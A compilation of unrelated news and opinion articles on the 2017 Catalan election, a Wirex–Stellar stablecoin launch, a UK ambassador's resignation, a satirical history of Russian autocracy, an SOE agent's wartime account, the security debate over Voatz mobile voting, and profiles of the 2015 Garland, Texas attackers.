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Catalonia election: Puigdemont calls for talks with Spain Published duration 22 December 2017 Related Topics Catalonia independence protests image copyright Reuters image caption "Now is the time for dialogue," said Carles Puigdemont Catalonia's ousted leader, Carles Puigdemont, has called for new talks with Spain after separatist parties won a slim majority in a regional election. He said he wanted the negotiations in Brussels, where he is living in self-imposed exile, or another EU country. Spain's Prime Minister Mariano Rajoy later appeared to reject the idea. He said he would hold talks with the head of the new Catalan government but that leader would have to take up their post in Catalonia itself. He avoided naming Mr Puigdemont, adding that the winner of Thursday's election was Inés Arrimadas, the leader of the Citizens party, which wants Catalonia to remain a semi-autonomous part of Spain. The Citizens party is now the region's biggest party. although pro-independence parties are best placed to form a government. "Catalonia wants to be an independent state," said Mr Puigdemont, speaking in Belgium on Friday. "This is the wish of the Catalan people. I think the plan of [Spanish Prime Minister] Mariano Rajoy is not working, so we have to find new ways to tackle this crisis." Mr Rajoy's conservative Popular Party (PP) recorded its worst ever result in Thursday's vote. He had hoped that the poll would restore stability and said the Spanish government was "willing to talk in a realistic way and inside the law" with a future Catalan government. "I offer Catalonia this because we care about the people" he said. The Spanish government imposed direct rule on Catalonia and called the election after declaring an October independence referendum illegal. Mr Puigdemont has also called on the prime minister to repatriate all the police sent to Catalonia before the referendum. What were the results? With nearly all votes counted, the pro-independence parties Together for Catalonia (JxCat), Republican Left of Catalonia (ERC) and Popular Unity (CUP) were on course to win a total of 70 seats in total, giving them a majority in the new parliament. Citizens (Cs) had 25.3% of the vote, winning 37 seats in the 135-seat chamber. Its leader told the BBC her party had been "victorious". Ms Inés Arrimadas said forming a coalition would be "difficult - but we will try". The PP, meanwhile, won only three seats, down from 11 in the previous assembly. Turnout was more than 80%, a record for a Catalan regional election. Analysis: What the papers say By BBC Monitoring Leading Spanish newspapers say that the result has strengthened the government's position. "Nationalism can no longer claim that it exclusively represents Catalonia," says Madrid-based La Razón. ABC newspaper thinks Madrid should now settle the Catalan crisis. "If Spain wants to win this fight in the long term and prevent Catalonia from leaving one day, it should draft a serious plan for strengthening the state." The result seems to have split Catalan papers between those who want the independence project to continue, and those who accept the realpolitik of the election result. "The independence movement has humiliated the Spanish prime minister," El Nacional says. "The decisions that affect Catalonia are not made in Madrid." But Barcelona's El Periódico says the result means a "divided Catalonia". "The election that Mariano Rajoy called has shown that Catalonia is firmly divided in two blocs and there is hardly any space for intermediaries." La Vanguardia writes: "Major forces supporting independence should look back, confess to mistakes and avoid making them again," Why did the election take place? Separatists who dominated the previous Catalan parliament declared independence on 27 October after a referendum that was declared illegal by Spain. In an attempt to stop that referendum, Spanish police stormed some polling stations. However many voters defied the Spanish courts and riot police to cast their ballots. The move led to violent clashes with hundreds of people reported injured. According to referendum organisers, 90% of voters were in favour of independence, but fewer than half the region's electorate took part. image copyright Getty Images image caption Inés Arrimadas said she would try to form a coalition However, Mr Puigdemont decided it was enough to declare independence from Spain. Mr Rajoy then sacked the Catalan government, imposed direct rule and called the 21 December election. Prosecutors accused 13 Catalan separatist politicians of rebellion and sedition, including Mr Puigdemont and four others who fled to Belgium. Among the accused, two pro-independence politicians are in Spanish prisons, and six are being monitored while on bail. What has been the reaction? The European Commission said that its stance towards Catalonia remained the same, despite Thursday's election result. The executive arm of the EU has previously stated that events in Catalonia are an internal issue for Spain. "Our position on the question of Catalonia is well known and has been regularly restated, at all levels. It will not change," commission spokesman Alexander Winterstein told AFP news agency. "In relation to a regional election, we have no comment to make," he added. The Spanish government has not yet commented on the results. What happens now? Analysts say the success of separatist parties means that the ball is now back in the Spanish government's court. Antonio Barroso, of the London-based research firm Teneo Intelligence, says the problem for Madrid remains "and the secession movement is not going to go away". Correspondents say it is not yet clear whether Mr Puigdemont will be renamed president, and if so, if he will return from Belgium. As things stand, he faces arrest, should he enter Spain. image copyright Getty Images image caption Independence supporters celebrated in Barcelona Why do many Catalans want independence? Catalonia is one of Spain's wealthiest and most productive regions and has a distinct history dating back almost 1,000 years. Before the Spanish Civil War it enjoyed broad autonomy but that was suppressed under General Francisco Franco's dictatorship from 1939-75. When Franco died, the region was granted autonomy again under the 1978 constitution, and the region prospered along with the rest of the new, democratic Spain. A 2006 statute granted even greater powers, boosting Catalonia's financial clout and describing it as a "nation", but Spain's Constitutional Court reversed much of this in 2010. Recession and cuts in public spending fuelled local resentment, which coalesced in a powerful secessionist movement.

Wirex, a prominent UK’s FCA supported cryptocurrency remittance provider, has partnered with Stellar, bringing in its over 2 million users and more than 5000 business clients into the cryptocurrency project’s ecosystem. The surprising collaboration will see Wirex launch “26 fiat-backed stablecoins” on Stellar network, a crypto platform that also partnered with tech giant IBM. Stellar network is receiving different supports from big firms across the globe. The launch of Wirex Stablecoins on Stellar Network infers that the crypto platform is uniquely designed to also accommodate Stablecoins. While some analysts opined that Stablecoins are created to bring growth into the crypto space, they are becoming a solid way to reduce crypto volatility due to the fact that their value are pegged to fiat currency. For Low Cost and Almost Instant Across Border Remittance When Stellar-based Wirex stablecoins finally launches, they are going to be used to perfect low-cost and all most immediately cross-border remittance, just like the IBM Stablecoin which has received support from six respected international banks. First of its Kind in the Crypto Space This Wirex Stablecoins is going to be the first of its kind for many reasons. They are the maiden stablecoins to be spend easily in day to day dealings using Wirex Visa card. It is the first stablecoins to be pegged to different fiat currencies like USD, EUR, GBP, HKD and SGD with exchange at interbank rates. Similarly, it is the foremost stablecoins that can be easily exchanged with other virtual currencies at OTC rates. Importantly, it is the first stablecoins to be released by an FCA supported crypto and fiat payment firm. All these will propel the stablecoins when it is finally unveiled. Wirex’ Over 2 million Users and 5K business clients Added to Stellar (XLM) Ecosystem The advent of Wirex Stablecoins on Stellar network means the FCA-regulated company’s over 2 million Users and 5K business clients are to be added to the Stellar ecosystem. This is definitely going to propel the cryptocurrency project. Wirex has an outstanding user base. The number of people using the Wirex platform are enough to bring revolution to the Stellar (XLM) network. More Use Cases Than Expected. The stellar-based stablecoins have diverse use cases than one can imagine at the moment. Its functions in the business and retail arena indicate the partnership is the beginning of development for Stellar (XLM). The stellar-backed Wirex Stablecoins is unique for international remittance, and offers faster and cheaper alternatives to Mastercard and Visa. It offers immediate token issues and redemption, stands as the beginning of crypto adoption with its instant merchant settlement among other use cases.

Theresa May is expected to appoint an EU ambassador who “believes in Brexit” in the wake of the current Brussels representative's decision to quit after being cut adrift by Downing Street. Sir Ivan Rogers on Tuesday announced his resignation as Britain’s ambassador in Brussels after it was made clear Mrs May and her senior team had “lost confidence” in him over his “pessimistic” view of Brexit. Government sources made clear that Sir Ivan had “jumped before he was pushed” and that Number 10 believed his negative view of Brexit meant that he could not lead the negotiations after the Prime Minister triggers Article 50. In a 1,400-word resignation letter to his staff leaked on Tuesday night, Sir Ivan launched a thinly-veiled attack on the "muddled thinking" in Mrs May's Government.

Now that we’ve failed to use Russia’s corrupt and degenerating economy, subservience to the international banking system, and vulnerability to falling energy prices to pop Vladimir Putin like a zit, we’re going to have sit on our NATO, E.U., and OSCE duffs and take the long view of Russian imperialism. Fortunately the long view, while a desolate prospect, is also comforting in its way, if you aren’t a Russian. In the sixth century A.D. Russia was the middle of nowhere in the great Eurasian flat spot bounded by fuck-all on the north and east, barbarian hordes and the remains of the Byzantine Empire on the south, and the Dark Ages on the west. Wandering around in here, up and down the watershed of the Dnieper River from Novgorod (which hadn’t been built yet) to Kiev (ditto) were disorganized tribes of Slavic pastoral herdsmen herding whatever was available, pastorally. They were harried by Goths, Huns, Khazars, and other people who had the name and nature of outlaw motorcycle gangs long before the motorcycle was invented. The original Russian state, “Old Russia,” was established at Novgorod in A.D. 862 by marauding Vikings. They’d set off to discover Iceland, Greenland, and America, took a wrong turn, and wound up with their dragon boat stuck on a mud bar in the Dnieper. (Historians have their own theories, involving trade and colonization, but this sounds more likely.) The first ruler of Old Russia was the Viking Prince Ryurik. Imagine being so disorganized that you need marauding Vikings to found your nation—them with their battle axes, crazed pillaging, riotous Meade Hall feasts, and horns on their helmets. (Actually, Vikings didn’t wear horns on their helmets—but they would have if they’d thought of it, just like they would have worn meade helmets if they’d thought of it.) Some government it must have been. Viking Prince Ryurik: “Yah, let’s build Novgorod!” Viking Chieftain Sven: “Yah, so we can burn it down and loot!” The Russians weren’t converted to Christianity until A.D. 988—a thousand years late to “Peace be unto you” party, the basic principles of which still haven’t sunk in. (And maybe never had a chance to. Russia’s conversion came at the hands of St. Vladimir, Grand Prince of Kiev, who was reputed to maintain a harem of 800 concubines.) The death of St. Vladimir, and every other ruler of Old Russia, was followed by assassinations, mayhem, civil strife, and the other hallmarks of change in Russian leadership evident to the present day. Oxford historian Ronald Hingley notes that “the first and only Russian ruler to fashion an effective law of succession” was Tsar Paul I (1796-1801). Tsar Paul was assassinated. Anyway, things went along pretty well for almost 400 years. (Pretty well by Russian standards—a free peasant was known as a smerd, meaning “stinker.”) Then, in 1237, when the rest of the West was having a High Middle Ages and getting fecund for cultural rebirth, a Tatar horde invaded Russia. The Tatars were part of the Mongol Empire founded by Genghis Khan. They had a two-pronged invasion strategy: Kill everybody and steal everything. Kiev, Moscow, and most of Russia’s towns were obliterated. Tatar control—part occupation and part suzerainty over impotent, tribute-paying Russian principalities—lasted more than 200 years. The Russians have heroic stories about fighting off the Tatars, but in fact it seems like the Tatars gradually lost interest in the place and went off in a horde back to where they came from. Professor Hingley says the “Tatar Yoke” left Russia with “a model of extreme authoritarian rule combined with control through terror.” It also left Russia with a model of leadership best summarized by a passage from John Keegan’s A History of Warfare: “Genghis Khan, questioning his Mongol comrades-in-arms about life’s sweetest pleasure and being told it lay in falconry, replied, ‘You are mistaken. Man’s greatest good fortune is to chase and defeat his enemy, seize his total possessions, leave his married women weeping and wailing, ride his gelding [and] use the bodies of his women as a nightshirt and support.’” Why Putin wants Angela Merkel for a nightshirt is beyond me. But that’s a Russian dictator for you. Around the time Europe was getting a New World, Russia was getting tsars. Several were named Ivan, one more terrible than the next until we arrive at Ivan the Terrible in 1533. Ivan created a private force of five or six thousand thugs, the oprichnina, who wore black, rode black horses, and carried, as emblems of authority, a dog’s head and a broom. (The hammer and sickle of the day, presumably.) Oprichniks were entitled to rob and kill anyone, and did so with a will. Ivan suspected Novgorod of disloyalty, and the oprichnina spent five weeks in the city slaughtering thousands and driving thousands more into exile. Ivan presided over and sometimes personally performed the roasting, dismembering, and boiling alive of enemies and people who, left unboiled, might possibly become enemies. He killed his own son and heir by whacking him over the head with the monarchal staff in a tsar-ish fit of temper. He conducted a 24-year-long war against Sweden, Poland, Lithuania, and the Teutonic Knights, and lost. Russia’s economy was destroyed. Drought, famine, and plague beset the country. But Ivan put Russia on the map as an international player. He defeated what was left of the Tatars, mostly by conniving with leaders of what was left of the Tatars. He expanded Russian rule into Siberia, his success due to almost nobody being there. And, draw what parallels you will, Ivan the Terrible’s popularity rating was very high among the smerds. After his reign, Russia, if you can believe it, got worse. “The Time of Troubles” featured more drought, more famine, more plague, foreign invasions, massacres, the occupation and sacking of Moscow, and tsars with names like False Dmitry I and False Dmitry II. The population of Russia may have been reduced by as much as one-third. The remaining two-thirds reacted to increasing anarchy in traditional Russian fashion, by increasing autocracy. The Russians aren’t stupid. We’re talking about a country where chess is a spectator sport. Autocracy is just a Russian bad habit, like smoking three packs of cigarettes a day and drinking a liter of vodka. In 1613 the Romanov dynasty was installed, providing Russia with a range of talents from “Great” (Peter I, Catherine II) to “Late” (Ivan VI, Peter III, and Paul I killed in palace intrigues; Alexander II blown to bits by a terrorist bomb, and Nicholas II murdered with his family by the Bolsheviks). The Romanovs adhered to what Harvard historian Richard Pipes calls a “patrimonial” doctrine, meaning they owned Russia the way we own our house (except to hell with the mortgage). They owned everything. And everybody. The Romanov tsars imposed rigid serfdom just as that woeful institution was fading almost everywhere else. Russia never had a Renaissance, a Protestant Reformation, an Enlightenment, or much of an Industrial Revolution until the Soviet Union. Soviet industrialization produced such benefits to humanity as concrete worker housing built without level or plumb bob, the AK-47, MiG fighter jets, and proliferating nukes. (Although the only people the Soviets ever killed with a nuclear device was themselves at Chernobyl, located, perhaps not coincidentally, in what’s now Ukraine, for the time being at least.) Russia was out in the sticks of civilization, in a trailer park without knowledge of how to build a trailer. But Russia kept getting bigger, mostly by killing, oppressing, and annoying Russians. Peter the Great (1682-1725) led a military expedition against the Turkish fort of Azov that was a disaster. But Peter came right back and, getting more Russians killed, overwhelmed the Turks. The same thing happened in the Northern War against Sweden. Although it took 21 years after Peter ran away at the battle of Narva, Russia finally got a Baltic coastline. Which Peter didn’t know what to do with, so he built St. Petersburg in a swamp with conscripted serf labor. The number of Russian serfs who died building things in the swamp equaled the number Russian soldiers who died in the Northern War. Peter the Great raised taxes, made the Russian nobles shave their beards, and caused the death of his recalcitrant son and heir, like Ivan the Terrible did, but on purpose. Catherine the Great (1762-1796) doubled taxes on the Jews and declared they weren’t Russians, as if anyone would want to be. She was the first but not last leader of Russia to annex Crimea. NATO member alert, code red—she won two wars against Turkey and partitioned Poland. (Like Peter the Great on the Baltic, she got the swampy part.) Under Catherine, Russian settlements pushed all the way east into Alaska, the most valuable land Russia has occupied. (Annual GDP per capita, Alaska: $61,156. Annual GDP per capita, Russia: $14,037.) But—E.U. shame alert—when Russia was facing financial difficulties and geopolitical conflict, Tsar Alexander II was forced to sell Alaska to the United States in 1867 for 2 cents an acre. Later, as mentioned, Alexander got blown to bits. And that’s pretty much it for Russia’s Golden Age. After the 18th century, Russia devoted itself mostly to being big fat loserland, losing pace with the modern world, wars, Alaska, a communist utopia, a million victims of Stalin’s purges, 6 million victims of the famine of 1921, 8 million victims of the famine of 1932-33, a “Kitchen Debate” between Nikita Khrushchev and Richard Nixon, ICBMs in Cuba, the space race, the arms race, the Cold War, and finally, 14 independent countries that were once in the USSR. Napoleon actually won the war part of his war with Russia. If “General Winter” and the general tendency of Moscow to be periodically destroyed hadn’t, for once, sided with the Russian people, you’d be able to get a good bottle of Côte de Volga and a baguette in Smolensk today. Russia began a series of wars in the Caucasus that it has yet to win. In 1825, the Decembrists, a reform-minded group of military officers, staged a demonstration in favor of constitutional monarchy and were hanged for taking the trouble. Political oppression, censorship, spying, and secret police activity reached such a level of crime and punishment that Dostoyevsky himself was sentenced to death for belonging to a discussion group. He was standing in front of the firing squad when his sentence was commuted to exile in Siberia. (Whether to thank Tsar Nicolas I depends upon how weighty a summer reading list you’ve been given.) “Exiled to Siberia” says everything about Russian economic and social development in that land of mountains, lakes, and forests with a climate, in its lower latitudes, no worse than the rest of Russia’s. I’ve been across it on the Trans-Siberian Railroad. If this were America, the route from Irkutsk to Vladivostok would be lined with vacation homes and trendy shops, and “exiled to Siberia” would be translated as “exiled to Aspen.” Russia lost the 1853-56 Crimean War. NATO member alert, code green—Russia lost to Britain, France, and Turkey. In 1861 Tsar Alexander II freed 50 million serfs. If “freed” is the word that’s wanted. The serfs had no place to go except the land they were already farming, and if they wanted any of that, they had to buy it with the nothing they made as serfs. Later, as mentioned twice already, Alexander got blown to bits. Russia lost the Jews. Being robbed, beaten, and killed in pogroms was not a sufficient incentive to stay. More than a million Jews emigrated, taking what common sense the country had with them. Russia lost the 1904-05 Russo-Japanese War in the best Russian loser fashion at the naval battle of Tsushima. Japanese Admiral Togo Heihachiro “crossed the T” of the Russian fleet, a rare execution of a tactic where you get your ships in a horizontal line so that your guns can be aimed at the enemy, whose ships are in a vertical line so that their guns can’t be aimed at you. The Russian fleet was demolished. Eight battleships and most of the smaller ships were sunk. More than 5,000 Russian sailors died. Just three of 38 Russian vessels escaped to Vladivostok. Russia lost World War I, not an easy thing to do when you’re on the winning side. After the October 1917 Bolshevik Revolution, Russia was too much of a mess to keep fighting Germany. The Soviet government signed the Treaty of Brest-Litovsk surrendering Latvia, Lithuania, Estonia, Russian Poland, and Ukraine—containing in total a quarter of the population of Imperial Russia—to the Central Powers just eight months before the Central Powers had to surrender to everybody. Russia lost both sides of the 1917-22 Russian Civil War. The White Russians were losers. The Reds were total losers. We know how their revolution turned out. Russia might as well have lost World War II. Between 18 million and 24 million Russians died. That’s three times as many military and civilian casualties as Germany suffered. There must have been a better way to kill a bunch of Nazis running low on food and ammunition and stuck in frozen mud. Now, because of what he’s doing in Ukraine, Vladimir Putin has a higher smerd popularity rating than Ivan the Terrible or even Stalin. We certainly should have screwed him over. But Russian history is on our side. He’ll certainly screw himself.

One major contribution by the FANY to the work of the SOE was in Communications, in both Signals and Cipher departments, where they received intensive training on Morse code. Another major contribution was the FANY agents in the field: they worked mainly in France. Thirty-nine of the 50 women sent into France were FANYs, of whom 13 were captured and murdered by the Gestapo. Emma Mackey, dressed in 1940s French civilian costume, reads an extract from an interview with Agent Yvonne Cormeau. "After my husband was killed in November 1940 I joined up the WAAF and I put my little girl in a school in the country. "I had declared to them that I spoke German, Spanish and that I was fluent in French. This filtered through the Ministry and suddenly I was being interrogated to see if I was suitable for the SOE, I joined them in 1943. "After extensive radio operator training I was parachuted into France on the 22nd August, north-east of Bordeaux. "The reception committee consisted of five men from the resistance. Over the next year I hid in villages with no water, and was shot at by the gestapo, then one day myself and my group leader, codenamed Hilaire had our closest run in. "We were told that Germans were getting closer to where we were based, that they were coming from the two roads from the east and the west, so we took one due south hoping to escape them; we hadn’t gone 15 Kilometres when we came face to face with one personnel carrier. "They stopped us and told to get out of the car, then they put us in the ditch, with two soldiers in between us, both had a pistol, one in my back, one in Llias back. "The soldier in charge was telling somebody on the radio that he had stopped a tobacco inspector and a woman, the woman had a district nurse card on her and what was he to do with them. We waited and waited, my perspiration was coming down, the flies were sticking to it. "I couldn’t move because if we moved they would’ve shot immediately, therefore we waited. Then the crackle came up again on his radio. "He told the two soldiers to go away and he told us “get in the car” which we did at once. Then he suddenly asked me what was in the case that had been thrown on the backseat, which of course was my radio set. "I knelt on the seat and opened it for him, he asked me what it was and I said a German word that meant radio as well as X-ray and due to the fact that I had a district nurse card, he assumed it meant X-ray and let us get out. So we got out very fast, the engine was already running."

Some voters with disabilities will be able to cast their ballots on smart phones using blockchain technology for the first time in a U.S. election on Tuesday. But while election officials and mobile voting advocates say the technology has the potential to increase access to the ballot box, election technology experts are raising serious security concerns about the idea. The mobile voting system, a collaboration between Boston-based tech company Voatz, nonprofit Tusk Philanthropies and the National Cybersecurity Center, has previously been used for some military and overseas voters during test pilots in West Virginia, Denver and Utah County, Utah. Now, Utah County is expanding its program to include voters with disabilities in its municipal general election as well. Two Oregon counties, Jackson and Umatilla, will also pilot the system for military and overseas voters on Tuesday. The idea, according to Bradley Tusk, the startup consultant and philanthropist who is funding the pilots, is to increase voter turnout. “We can’t take on every interest group in Washington around the country and beat them, but I think what we can do is let the genie out of the bottle,” he says. After working in politics, Tusk built his name in the tech world developing Uber’s strategy of turning its customers into armies of grassroots lobbyists, getting them to advocate for the company they’d come to rely on. He hopes to use the same tactic with mobile voting. While Tusk has no financial stake in Voatz and says he is not committed to any particular technology, he believes mobile voting can work, and if he can convince enough Americans they want to vote on their cellphones, he says, those voters will put pressure on their officials to adopt the method. So far, the pilots have included very small numbers of voters, but election officials have deemed them successful. Officials in West Virginia, Denver and Utah County have been pleased with their outcomes and with the feedback they’ve received from voters. “The audit that we did on the votes that were cast in our primary came back very clean. So that gave me some more confidence in the system,” says Amelia Powers Gardner, the Utah county clerk/auditor. But as concerns around foreign interference in elections have increased since 2016, election security experts have warned against any electronic voting methods. The Senate Intelligence Committee released a report this summer on Russian election interference that highlighted the importance of paper ballots to securing America’s vote. “States should resist pushes for online voting,” the report read. It said that while ensuring access, particularly for military voters, is crucial, “no system of online voting has yet established itself as secure.” Independent experts agree. There is an overwhelming consensus in the election security community that mobile voting using blockchain technology—including Voatz—is not yet a reliable system, according to Mark Lindeman, senior science and technology policy officer at Verified Voting, a nonprofit that advocates for the accuracy, integrity and verifiability of elections. “We think it’s great that election officials are are trying bold innovations to help people vote. But we think this bold innovation isn’t ready for prime time,” he says. To use the Voatz system, voters download the Voatz app onto their iPhone or Android smartphone. They then scan their fingerprint and government-issued ID and take a “video selfie” to authenticate their identity before they can tap the screen to mark their digital ballot. (Voatz says it deletes the ID and facial scans soon after they are used.) After casting their vote, the voter receives an emailed receipt of their ballot to confirm their choices were marked correctly. Election officials at the voter’s jurisdiction also receive a separate copy of that receipt, either through secure email, eFax or by logging into the the blockchain “lock box,” according to Voatz. The votes themselves are stored in the blockchain until Election Day, when election officials log into the “lock box” portal and print out the ballots. This process is much quicker and potentially more secure than how military and overseas voters currently cast their ballots, Powers Gardner says. While laws can vary by state, Americans living overseas typically cast their votes through paper mail, fax or in many cases unsecured email. Sending mail internationally is not always reliable and can take weeks, while emailed votes are vulnerable to hacking and require overseas or military voters to waive their right to a private ballot. For disabled voters, casting a ballot on their smartphones could potentially be a game-changer, says Michelle Bishop, the voting rights specialist at the National Disability Rights Network. Right now, people with disabilities face obstacles at every part of the voting process. While the Americans with Disabilities Act technically requires that people with disabilities have access to public services, programs and activities such as voting, it’s not well enforced. And even when polling places do have functioning accessible voting machines, there might be other impediments such as steps to get into the building or poll workers who don’t know how to work the accessible machine. When the Government Accountability Office examined polling place accessibility after the 2016 election, it found only 17% of polling places reviewed had no impediments outside or inside the voting area. “That’s horrifying and abysmal,” Bishop says. Meanwhile, more and more people have smartphones, and mobile technology has done a good job of introducing accessible features. Phones allow users to zoom in on their screens, increase text size, read the screen’s content aloud and operate the device through voice commands, all of which can help voters with a range of disabilities. The National Disability Rights Network does not endorse any particular voting technology, but Bishop described Voatz and other applications like it as “incredibly promising.” Still, she takes the security concerns seriously. “Voters with disabilities want elections to be accurate and fair and secure and for the process to have integrity as much as any other voter,” Bishop says. “I believe in testing and certification. I believe in piloting these kinds of technologies towards that end to see if it’s going to work for accessibility purposes and to make sure we can secure it.” The problem, security experts say, is that it’s nearly impossible for third parties to verify that the Voatz system is secure and accurate with the level of information the company has released. Voatz published an eight-page white paper after its West Virginia pilot in 2018, but it did not name the four independent security auditors it said evaluated the pilot or go into detail about what information auditors could access, what vulnerabilities they found and whether those were fixed. More detailed reports came out after the Denver and first Utah County pilots this summer, but those still don’t provide a full picture, experts say. While Voatz co-founder and CEO Nimit Sawhney says that his system is the first that “enables end-to-end auditability and verifiability in a remote voting scenario,” other elections experts dispute this. To audit the votes cast on Voatz, election officials print out a “paper ballot” and compare it to a copy of the “voter-verified digital receipts” created when the votes were submitted. Officials can compare these to the results of the tabulation and to the information stored in the blockchain. “So what’s missing? Almost everything,” says Verified Voting’s Mark Lindeman. “We don’t actually have any way of knowing that what the voter looked at is the same thing as what the Secretary of State’s office looked at. That’s that’s just not what voter verification means.” Voatz also touts its use of blockchain as an additional security measure because the votes are stored in geographically distributed servers rather than all in one place. But experts say this provides little comfort. “Blockchain is the buzzword of the moment,” says Duncan Buell, a professor of computer science at University of South Carolina who has studied voting technologies and co-authored a paper in May detailing the many concerns that election experts have about Voatz. “Everybody regardless of what they’re doing, are going to claim they’re doing blockchain because that’s going to make it sound sexy and exciting and shiny.” Tusk Philanthropies, for their part, hired outside security experts to review Voatz’s audits and security procedures. Andre McGregor, co-founder of ShiftState Security, told TIME he and his team spent about three weeks reviewing Voatz after the West Virginia pilot, and that he is scheduled to do another review before the end of the year. “The findings have been good,” McGregor said. Voatz has also been working with the Department of Homeland Security to conduct tests of its system, and Sawhney says the company plans to release more detailed information about these tests and its software in the coming months. He understands the need for questions about security, he says, but adds that as a private company he also has to protect his intellectual property. In the meantime, elections experts, government officials and disability advocates are left navigating the tension between accessibility and security—something that is only going to increase as the 2020 election approaches. “What we haven’t solved in any context is how to make verification itself accessible,” Lindeman says. “And we need to keep wrestling with it as a really hard problem that deserves good solutions. I don’t have the solution. I just know I haven’t seen it yet.” Get our Politics Newsletter. The headlines out of Washington never seem to slow. Subscribe to The D.C. Brief to make sense of what matters most. Please enter a valid email address. Sign Up Now Check the box if you do not wish to receive promotional offers via email from TIME. You can unsubscribe at any time. By signing up you are agreeing to our Terms of Use and Privacy Policy . This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply. Thank you! For your security, we've sent a confirmation email to the address you entered. Click the link to confirm your subscription and begin receiving our newsletters. If you don't get the confirmation within 10 minutes, please check your spam folder. Write to Abigail Abrams at abigail.abrams@time.com.

(CNN) Whatever spurred Elton Simpson and Nadir Soofi to drive across two states to shoot up a Prophet Mohammed cartoon contest is lost on their families, their neighbors and the place they had worshipped. One was a described as "gentle person," albeit one who had been convicted of a terror-related charge and supported an ISIS propagandist. The other was a father who had "put his son above everything" -- until the day he and his roommate opened fire at the event in Garland, Texas, wounding a security guard before police shot and killed the gunmen Here's what we know about the attackers: ELTON SIMPSON He may have been an ISIS supporter While U.S. authorities investigate whether Sunday's shooting has any link to international terrorism, ISIS claimed responsibility for the attack In a radio broadcast, ISIS referred to Simpson and Soofi as two of its "soldiers" and and threatened more attacks. But it's unclear whether the terror group in Iraq and Syria actually had contact with Simpson or Soofi, who both lived in Phoenix. JUST WATCHED Gunmen opened fire at Mohammed cartoon event Replay More Videos ... MUST WATCH Gunmen opened fire at Mohammed cartoon event 02:07 Moments before the shootout, Simpson posted an ominous tweet with the hashtag #texasattack: "May Allah accept us as mujahideen." The tweet also said Simpson and his fellow attacker had pledged allegiance to "Amirul Mu'mineen," which means "the leader of the faithful." CNN terrorism analyst Paul Cruickshank said that probably refers to ISIS leader Abu Bakr al Baghdadi. Earlier, Simpson had asked his readers on Twitter to follow an ISIS propagandist. After the shooting, the same propagandist tweeted: "Allahu Akbar!!!! 2 of our brothers just opened fire." Both Twitter accounts have been deactivated. He has a rap sheet In 2011, Simpson was convicted of making a false statement involving international and domestic terrorism. Prosecutors said he told FBI agents that he had not discussed traveling to Somalia to engage in "violent jihad" -- when, in fact, he had, according to an indictment. Simpson was sentenced to three years of probation, court records show. His former lawyer, Kristina Sitton, told CNN that Simpson ended up on the federal no-fly list. In fact, he contacted her once after trying to get on a plane at a Phoenix airport, only to be turned away. He was a 'very devout Muslim' That's according to Sitton, who spent many hours over about two years in her office with Simpson while representing him in the Somalia case. When the meetings ran long, the attorney recalled Simpson asking to leave to pray somewhere quiet. "He was a very devout Muslim," said Sitton, who sensed Simpson was trying to convert her and her staffers but never saw him as a threat. "... I can tell you with absolute certainty that I didn't observe anything that had anything to do with radicalization." In fact, Sitton said, "there were no signs" that Simpson would pull off an attack like the one in Garland. "He was a very kind-hearted, respectful young man," the lawyer added. "He always treated me with respect." He had 'a good demeanor' That view was seconded by the president of the Islamic Community Center of Phoenix, where both Simpson and Soofi worshiped. Usama Shami said Simpson came regularly until around 2010 or 2011, about the time the FBI arrested him on the false statement charges. Soofi came less frequently. Simpson "was a gentle person," Shami said. "He always had a good attitude, a good demeanor." Like others at the mosque, Shami said he was stunned to hear about the attack Sunday night. "They didn't show any signs of radicalization or any signs of even thinking about those things in that manner," he said. "So when that happens, it just shocks you. 'How good did you know these people?' That's the question that people ask themselves." His family is stunned, too On top of their grief, Simpson's relatives are struggling to come to terms with his involvement in the attack. "We send our prayers to everyone affected by this act of senseless violence, especially the security guard who was injured in the line of duty," Simpson's family said in a statement. "We are sure many people in this country are curious to know if we had any idea of Elton's plans. To that we say, without question, we did not. Just like everyone in our beautiful country, we are struggling to understand how this could happen. ... We are heartbroken and in a state of deep shock as we grieve." He and Soofi were roommates Their neighbors in Phoenix said they had no clue about what Simpson and Soofi were plotting to do. Ariel Whitlock was actually about to buy a car from Simpson. She was horrified to see the same black Chevrolet Cobalt, damaged from the attack, on the news. JUST WATCHED Were Texas shooters self-radicalized? Replay More Videos ... MUST WATCH Were Texas shooters self-radicalized? 02:08 "I'm getting goose bumps thinking about it right now just because I wanted to buy that car," she told CNN's Kyung Lah. "On the news, I see it, it's just blown up. I'm like, 'I was going to purchase that car.' " Whitlock said she's sickened by the possibility that, had she bought the car, the money could have gone to fund an attack. "Maybe he's just gonna go plot something and you're giving the money to help him go plot something," she said. "It's just crazy." NADIR SOOFI He died near where he was born Soofi was born in Garland and spent the first three years of his life there, his mother said, according to The Dallas Morning News JUST WATCHED Traffic officer praised for thwarting Texas attack Replay More Videos ... MUST WATCH Traffic officer praised for thwarting Texas attack 02:15 "He was raised in a normal American fashion," Sharon Soofi said. "Yes, he was very politically involved with the Middle East. Just aware of what's going on. I don't know if something snapped or if Elton Simpson was just working on him." He left behind an 8-year-old son Sharon Soofi also said her son had an 8-year-old boy whom he adored. "He put his son above everything," she said . "The hard thing to comprehend is why he would do this and leave an 8-year-old son behind." He went to a prestigious private school Soofi's father is Pakistani, and his mother is American, a source with knowledge of the family told CNN. After his parents divorced, Soofi and his brother moved to the United States in 1998 to live with their mother and gradually lost touch with many of their friends in Pakistan , the source said. In the 1990s, Soofi attended a prestigious private school in Islamabad. He wasn't on the FBI's radar Unlike Simpson, who had been convicted of a terror-related charge, Soofi was relatively unknown to federal investigators, a law enforcement official told CNN. Authorities knew of no indication the two planned to launch Sunday's attack, another law enforcement official said. He had asked for forgiveness Soofi's Facebook page reveals strong opinions, but no call to violence. But a note from four years ago shows he asked Allah for forgiveness for every sin -- both intentional and unintentional. He was a helpful neighbor Tim Rains remembers Soofi helping him when he had a heart condition about a year ago. JUST WATCHED Cartoon contest organizer defends decision to hold event Replay More Videos ... MUST WATCH Cartoon contest organizer defends decision to hold event 02:07 As Rains was coming home, he collapsed on a stairwell. Soofi noticed. "He seen all that, and he came over and offered me help," Rains said. So how does he reconcile the notion that his neighbor also tried to shoot people in Texas? "Oh, it's easy, everybody has a good side to them," Rains said. "If you see somebody hurting like that, you're going to help them. I think he went to Texas to shoot people for a reason."

